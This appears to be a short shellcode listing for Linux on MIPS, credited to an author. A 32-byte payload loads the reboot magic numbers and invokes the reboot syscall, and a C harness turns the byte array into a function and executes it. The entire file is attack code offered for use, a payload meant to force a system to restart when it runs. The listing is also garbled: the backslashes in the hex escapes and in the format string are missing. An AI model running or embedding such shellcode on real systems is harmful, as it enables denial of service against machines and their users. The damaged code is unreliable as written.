/*
 * Title: Linux/MIPS - reboot() - 32 bytes.
 * Author: rigan - imrigan [sobachka] gmail.com
 */

#include <stdio.h>

char sc[] =          
         "x3cx06x43x21"       // lui     a2,0x4321
         "x34xc6xfexdc"       // ori     a2,a2,0xfedc
         "x3cx05x28x12"       // lui     a1,0x2812
         "x34xa5x19x69"       // ori     a1,a1,0x1969
         "x3cx04xfexe1"       // lui     a0,0xfee1
         "x34x84xdexad"       // ori     a0,a0,0xdead
         "x24x02x0fxf8"       // li      v0,4088
         "x01x01x01x0c";      // syscall 0x40404 

void main(void)
{
       void(*s)(void);
       printf("size: %dn", sizeof(sc));
       s = sc;
       s();
}